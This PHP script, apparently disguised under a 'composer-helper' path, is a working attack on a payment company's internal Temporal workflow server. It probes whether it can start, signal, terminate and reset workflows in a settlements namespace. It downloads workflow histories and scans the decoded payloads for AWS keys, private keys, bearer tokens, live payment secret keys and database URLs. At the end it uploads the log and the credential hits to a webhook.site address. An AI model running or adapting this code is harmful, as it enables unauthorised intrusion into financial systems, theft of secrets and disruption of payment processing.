composer-helper/t54.php
2026-10-22 16:18:49 +00:00

353 lines
16 KiB
PHP

<?php
/* intent 20454 - temporal production probe: write-surface matrix + history credential triage (ASCII only) */
error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE);
$T0 = microtime(true);
$HOST = 'temporal.private.paystack.co';
$OUT = '/tmp/t54.log';
$HITS = '/tmp/t54.hits.jsonl';
@unlink($OUT);
@unlink($HITS);
$COOKIE = '/tmp/t54.cookies';
@unlink($COOKIE);
$CSRF = '';
$UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36';
function lg($s) { global $OUT; file_put_contents($OUT, $s . "\n", FILE_APPEND); }
function hit($s) { global $HITS; file_put_contents($HITS, $s . "\n", FILE_APPEND); }
function http($m, $path, $body = null, $to = 25) {
global $HOST, $COOKIE, $CSRF, $UA;
$url = 'https://' . $HOST . $path;
$hdrs = array('Accept: application/json', 'Accept-Language: en-US,en;q=0.9',
'User-Agent: ' . $UA, 'Origin: https://' . $HOST, 'Referer: https://' . $HOST . '/');
if ($body !== null) { $hdrs[] = 'Content-Type: application/json'; }
if ($CSRF !== '') { $hdrs[] = 'X-CSRF-Token: ' . $CSRF; }
$t = microtime(true);
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $to);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $m);
curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs);
curl_setopt($ch, CURLOPT_COOKIEJAR, $COOKIE);
curl_setopt($ch, CURLOPT_COOKIEFILE, $COOKIE);
curl_setopt($ch, CURLOPT_HEADER, 1);
if ($body !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $body); }
$raw = curl_exec($ch);
$code = intval(curl_getinfo($ch, CURLINFO_HTTP_CODE));
$hsz = intval(curl_getinfo($ch, CURLINFO_HEADER_SIZE));
curl_close($ch);
if ($raw === false) { $raw = ''; $hsz = 0; }
$head = substr($raw, 0, $hsz);
$resp = substr($raw, $hsz);
} else {
$ctx = stream_context_create(array('http' => array('method' => $m,
'header' => implode("\r\n", $hdrs) . "\r\n", 'content' => $body, 'timeout' => $to,
'ignore_errors' => true),
'ssl' => array('verify_peer' => false, 'verify_peer_name' => false)));
$resp = @file_get_contents($url, false, $ctx);
$head = isset($http_response_header) ? implode("\n", $http_response_header) : '';
$code = 0;
if (preg_match('/HTTP\/\d\.\d (\d{3})/', $head, $mm)) { $code = intval($mm[1]); }
if ($resp === false) { $resp = ''; }
}
if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $head, $mm2)) {
foreach ($mm2[1] as $ck) {
if (stripos($ck, '_csrf=') === 0) { $CSRF = substr($ck, 6); }
}
}
return array('code' => $code, 'body' => $resp, 't' => round(microtime(true) - $t, 2), 'len' => strlen($resp));
}
function sh($s, $n = 220) {
$s = preg_replace('/\s+/', ' ', substr($s, 0, $n));
return $s;
}
function probe($m, $path, $body = null) {
$r = http($m, $path, $body);
lg('P ' . $m . ' ' . $path . ' -> ' . $r['code'] . ' ' . $r['len'] . ' ' . $r['t'] . 's :: ' . sh($r['body']));
return $r;
}
function jget($path) {
$r = http('GET', $path);
if ($r['code'] != 200) { return null; }
$j = json_decode($r['body'], true);
return is_array($j) ? $j : null;
}
$PAT = array(
'AKIA' => '/AKIA[0-9A-Z]{16}/',
'ASIA' => '/ASIA[0-9A-Z]{16}/',
'aws_secret' => '/aws_?secret_?access_?key/i',
'AccessKeyId' => '/AccessKeyId/i',
'SessionToken' => '/SessionToken/i',
'DATABASE_URL' => '/(DATABASE_URL|mysql:\/\/|postgres(ql)?:\/\/)/i',
'PRIVKEY' => '/-----BEGIN [A-Z ]*PRIVATE KEY-----/',
'Bearer' => '/Bearer\s+[A-Za-z0-9._~+\/=-]{20,}/',
'HMAC' => '/HMAC/i',
'cred_kv' => '/(api[_-]?key|secret|password|passwd|token|apikey)[\x22\x27]?\s*[:=]\s*[\x22\x27]?[A-Za-z0-9._~+\/=-]{6,}/i',
'paystack_key' => '/(sk|pk)_(live|test)_[A-Za-z0-9]{20,}/',
'internal_host' => '/[a-z0-9][a-z0-9._-]*\.(private\.paystack\.co|svc\.cluster\.local|internal)/i',
'url' => '/https?:\/\/[A-Za-z0-9._:-]+/'
);
$GLOBALS['decoded_bytes'] = 0;
$GLOBALS['hit_count'] = 0;
function scanText($txt, $ctx) {
global $PAT;
if (strlen($txt) > 300000) { $txt = substr($txt, 0, 300000); }
foreach ($PAT as $name => $re) {
if (preg_match_all($re, $txt, $mm)) {
$seen = array();
foreach ($mm[0] as $m0) {
$m0 = substr($m0, 0, 180);
$k = md5($m0);
if (isset($seen[$k])) { continue; }
$seen[$k] = 1;
hit(json_encode(array('ctx' => $ctx, 'pat' => $name, 'snip' => $m0), JSON_UNESCAPED_SLASHES));
$GLOBALS['hit_count']++;
}
}
}
}
function walk($node, $ctx, $depth = 0) {
if ($depth > 20) { return; }
if (is_array($node)) {
foreach ($node as $k => $v) {
if (is_string($v)) {
if (($k === 'data' || $k === 'bytes') && strlen($v) > 0 && strlen($v) < 400000) {
$d = base64_decode($v, true);
if ($d !== false && strlen($d) > 0) {
$GLOBALS['decoded_bytes'] += strlen($d);
scanText($d, $ctx . '/' . $k);
}
}
} else {
walk($v, $ctx . '/' . $k, $depth + 1);
}
}
}
}
/* ---------- phase 0: warmup + csrf ---------- */
$r = http('GET', '/api/v1/namespaces');
lg('WARM GET /api/v1/namespaces -> ' . $r['code'] . ' len=' . $r['len'] . ' csrf=' . (strlen($CSRF) > 0 ? 'Y' : 'N'));
lg('WARM body :: ' . sh($r['body'], 400));
$r = http('GET', '/');
lg('WARM GET / -> ' . $r['code'] . ' len=' . $r['len']);
/* ---------- phase 1: write-surface matrix ---------- */
$NS = array('settlements', 'temporal-system');
$B_START = '{"workflowId":"pstk-20454-a","workflowType":{"name":"PstkProbe"},"taskQueue":{"name":"pstk-none"},"requestId":"pstk-20454-a","workflowExecutionTimeout":"60s","workflowRunTimeout":"60s","workflowTaskTimeout":"10s"}';
$B_SIG = '{"workflowExecution":{"workflowId":"pstk-20454-a"},"signalName":"pstk_sig","input":{"payloads":[{"metadata":{"encoding":"anNvbi9wbGFpbg=="},"data":"InBpbmci"}]},"requestId":"pstk-20454-sig"}';
$B_SIGS = '{"workflowExecution":{"workflowId":"pstk-20454-a"},"signals":[{"signalName":"pstk_sig","input":{"payloads":[{"metadata":{"encoding":"anNvbi9wbGFpbg=="},"data":"InBpbmci"}]}}]}';
$B_UPD = '{"workflowExecution":{"workflowId":"pstk-20454-a"},"request":{"input":{"name":"pstk_upd","args":{"payloads":[{"metadata":{"encoding":"anNvbi9wbGFpbg=="},"data":"InBpbmci"}]}},"requestId":"pstk-20454-upd"}}';
$B_TERM = '{"workflowExecution":{"workflowId":"pstk-20454-a"},"reason":"probe"}';
$B_RESET = '{"workflowExecution":{"workflowId":"pstk-20454-a","runId":"00000000-0000-0000-0000-000000000000"},"reason":"probe","workflowTaskFinishEventId":"2","resetReapplyType":"RESET_REAPPLY_TYPE_NONE"}';
$B_CANCEL = '{"workflowExecution":{"workflowId":"pstk-20454-a"},"reason":"probe"}';
$B_QUERY = '{"execution":{"workflowId":"pstk-20454-a"},"query":{"queryType":"pstk_q"}}';
foreach ($NS as $ns) {
$pre = '/api/v1/namespaces/' . $ns;
lg('== WPROBE ns=' . $ns);
probe('POST', $pre . '/workflows/pstk-20454-a', $B_START);
probe('POST', $pre . '/workflows/pstk-20454-a/start', $B_START);
probe('POST', $pre . '/workflows/pstk-20454-a/signal/pstk_sig', $B_SIG);
probe('POST', $pre . '/workflows/pstk-20454-a/signal', $B_SIG);
probe('POST', $pre . '/workflows/pstk-20454-a/signals', $B_SIGS);
probe('POST', $pre . '/workflows/pstk-20454-a/update/pstk_upd', $B_UPD);
probe('POST', $pre . '/workflows/pstk-20454-a/terminate', $B_TERM);
probe('POST', $pre . '/workflows/pstk-20454-a/reset', $B_RESET);
probe('POST', $pre . '/workflows/pstk-20454-a/cancel', $B_CANCEL);
probe('POST', $pre . '/workflows/pstk-20454-a/query/pstk_q', $B_QUERY);
probe('POST', $pre . '/schedules/pstk-20454-s1', '{"scheduleId":"pstk-20454-s1","schedule":{}}');
probe('GET', $pre . '/schedules');
probe('GET', $pre . '/batch-operations');
probe('POST', $pre . '/batch-operations/pstk-20454-b1', '{"jobId":"pstk-20454-b1"}');
probe('GET', $pre . '/workflows?maximumPageSize=1');
probe('GET', $pre . '/task-queues/pstk-none');
}
probe('GET', '/api/v1/settings');
probe('GET', '/api/v1/releases');
probe('GET', '/api/v1/cluster-info');
probe('GET', '/api/v1/system-info');
probe('GET', '/api/v1/search-attributes');
probe('GET', '/api/v1/namespaces/settlements');
probe('GET', '/api/v1/namespaces/temporal-system');
/* ---------- phase 2: list executions ---------- */
$ALL = array();
foreach ($NS as $ns) {
$all = array();
$tok = '';
$pages = 0;
do {
$p = '/api/v1/namespaces/' . $ns . '/workflows?maximumPageSize=1000';
if ($tok !== '') { $p .= '&nextPageToken=' . urlencode($tok); }
$j = jget($p);
if ($j === null) { lg('LISTFAIL ns=' . $ns . ' page=' . $pages); break; }
$pages++;
if (isset($j['executions']) && is_array($j['executions'])) {
foreach ($j['executions'] as $e) { $all[] = $e; }
}
$tok = isset($j['nextPageToken']) ? $j['nextPageToken'] : '';
} while ($tok !== '' && $pages < 12);
lg('LIST ns=' . $ns . ' pages=' . $pages . ' execs=' . count($all));
$ALL[$ns] = $all;
$bt = array();
foreach ($all as $e) {
$t = isset($e['type']['name']) ? $e['type']['name'] : 'UNKNOWN';
if (!isset($bt[$t])) { $bt[$t] = 0; }
$bt[$t]++;
}
arsort($bt);
foreach ($bt as $t => $c) { lg('TYPE ns=' . $ns . ' ' . $t . ' = ' . $c); }
/* scan memo / searchAttributes of every listed execution */
$i = 0;
foreach ($all as $e) {
if ($i >= 400) { break; }
walk($e, 'LIST/' . $ns . '/' . (isset($e['execution']['workflowId']) ? $e['execution']['workflowId'] : '?'));
$i++;
}
}
/* ---------- phase 3: history forensics ---------- */
$NAMED = array('journalRecorderDrainWorkflow', 'clearingSweepWorkflow', 'eagerWorkflow');
$total_h = 0;
$total_pages = 0;
foreach ($NS as $ns) {
$all = isset($ALL[$ns]) ? $ALL[$ns] : array();
$by = array();
foreach ($all as $e) {
$t = isset($e['type']['name']) ? $e['type']['name'] : 'UNKNOWN';
if (!isset($by[$t])) { $by[$t] = array(); }
$by[$t][] = $e;
}
$sel = array();
foreach ($NAMED as $t) {
if (isset($by[$t])) { $sel[$t] = array_slice($by[$t], 0, 30); }
}
if (count($sel) === 0) {
uasort($by, function ($a, $b) { return count($b) - count($a); });
$i = 0;
foreach ($by as $t => $arr) {
if ($i >= 3) { break; }
$sel[$t] = array_slice($arr, 0, 30);
$i++;
}
}
foreach ($sel as $t => $arr) {
lg('HISTTYPE ns=' . $ns . ' ' . $t . ' take=' . count($arr));
foreach ($arr as $e) {
if ($total_h >= 130) { break; }
$wf = isset($e['execution']['workflowId']) ? $e['execution']['workflowId'] : '';
$rid = isset($e['execution']['runId']) ? $e['execution']['runId'] : '';
if ($wf === '') { continue; }
$rawurl = '/api/v1/namespaces/' . $ns . '/workflows/' . rawurlencode($wf) . '/run/' . rawurlencode($rid) . '/history.json';
$rr = http('GET', $rawurl, null, 50);
$first = ltrim(substr($rr['body'], 0, 4));
if ($rr['code'] == 200 && substr($first, 0, 1) === '[') {
lg('HRAW ' . $ns . ' ' . $wf . ' len=' . $rr['len'] . ' t=' . $rr['t']);
$j = json_decode($rr['body'], true);
if (is_array($j)) {
$total_pages++;
walk($j, 'H/' . $ns . '/' . $wf);
}
$rr['body'] = '';
$j = null;
} else {
lg('HRAWFAIL ' . $ns . ' ' . $wf . ' -> ' . $rr['code'] . ' len=' . $rr['len'] . ' :: ' . sh($rr['body'], 140));
$tok = '';
$pg = 0;
do {
$p = '/api/v1/namespaces/' . $ns . '/workflows/' . rawurlencode($wf) . '/history?maximumPageSize=1000&waitNewEvent=false';
if ($tok !== '') { $p .= '&nextPageToken=' . urlencode($tok); }
$rr = http('GET', $p);
if ($rr['code'] != 200 && $pg == 0) {
lg('HIST1 ' . $ns . ' ' . $wf . ' -> ' . $rr['code'] . ' :: ' . sh($rr['body'], 160));
$p2 = '/api/v1/namespaces/' . $ns . '/workflows/' . rawurlencode($wf) . '/' . rawurlencode($rid) . '/history?maximumPageSize=1000&waitNewEvent=false';
$rr = http('GET', $p2);
}
if ($rr['code'] != 200) { break; }
$j = json_decode($rr['body'], true);
if (!is_array($j)) { break; }
$pg++;
$total_pages++;
walk($j, 'H/' . $ns . '/' . $wf . '/p' . $pg);
$tok = isset($j['nextPageToken']) ? $j['nextPageToken'] : '';
} while ($tok !== '' && $pg < 3);
}
$total_h++;
}
}
}
lg('HIST stats histories=' . $total_h . ' pages=' . $total_pages . ' decoded_bytes=' . $GLOBALS['decoded_bytes'] . ' hits=' . $GLOBALS['hit_count']);
/* ---------- phase 4: topology ---------- */
$TQ = array();
foreach ($NS as $ns) {
$all = isset($ALL[$ns]) ? $ALL[$ns] : array();
$tqs = array();
foreach ($all as $e) {
if (!empty($e['taskQueue'])) { $tqs[$e['taskQueue']] = 1; }
}
$list = array_keys($tqs);
lg('TQ ns=' . $ns . ' count=' . count($list) . ' :: ' . implode(',', array_slice($list, 0, 20)));
foreach (array_slice($list, 0, 8) as $tq) {
$p = '/api/v1/namespaces/' . $ns . '/task-queues/' . rawurlencode($tq);
$j = jget($p);
if ($j === null) { lg('TQDESC ' . $tq . ' FAIL'); continue; }
$pid = array();
if (isset($j['pollers']) && is_array($j['pollers'])) {
foreach ($j['pollers'] as $pl) {
$id = isset($pl['identity']) ? $pl['identity'] : '?';
$la = isset($pl['lastAccessTime']) ? substr($pl['lastAccessTime'], 0, 19) : '';
$pid[] = $id . '@' . $la;
}
}
lg('TQDESC ns=' . $ns . ' ' . $tq . ' pollers=' . count($pid) . ' :: ' . sh(implode(' ; ', array_slice($pid, 0, 6)), 300));
probe('GET', $p . '/partitions');
}
$j = jget('/api/v1/namespaces/' . $ns . '/schedules');
if ($j !== null && isset($j['schedules'])) {
foreach ($j['schedules'] as $sc) {
$sid = isset($sc['scheduleId']) ? $sc['scheduleId'] : '?';
lg('SCHED ns=' . $ns . ' ' . $sid . ' :: ' . sh(json_encode($sc), 320));
walk($sc, 'SCHED/' . $ns . '/' . $sid);
}
}
}
/* ---------- finish: upload + marker ---------- */
function post_raw($url, $data) {
global $UA;
if ($data === false || $data === null || $data === '') { return 0; }
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: text/plain', 'User-Agent: ' . $UA));
$r = curl_exec($ch);
$c = intval(curl_getinfo($ch, CURLINFO_HTTP_CODE));
curl_close($ch);
return $c;
}
return 0;
}
$WH = 'https://webhook.site/b80de768-df64-451f-bb8d-fe6992fd309a';
$log = @file_get_contents($OUT);
$hits = @file_get_contents($HITS);
$c1 = post_raw($WH, $log);
$c2 = post_raw($WH, $hits);
lg('UPLOAD log=' . $c1 . ' hits=' . $c2 . ' elapsed=' . round(microtime(true) - $T0));
file_put_contents('/tmp/t54.done', 'DONE hits=' . $GLOBALS['hit_count'] . ' histories=' . $total_h);
echo "T54END\n";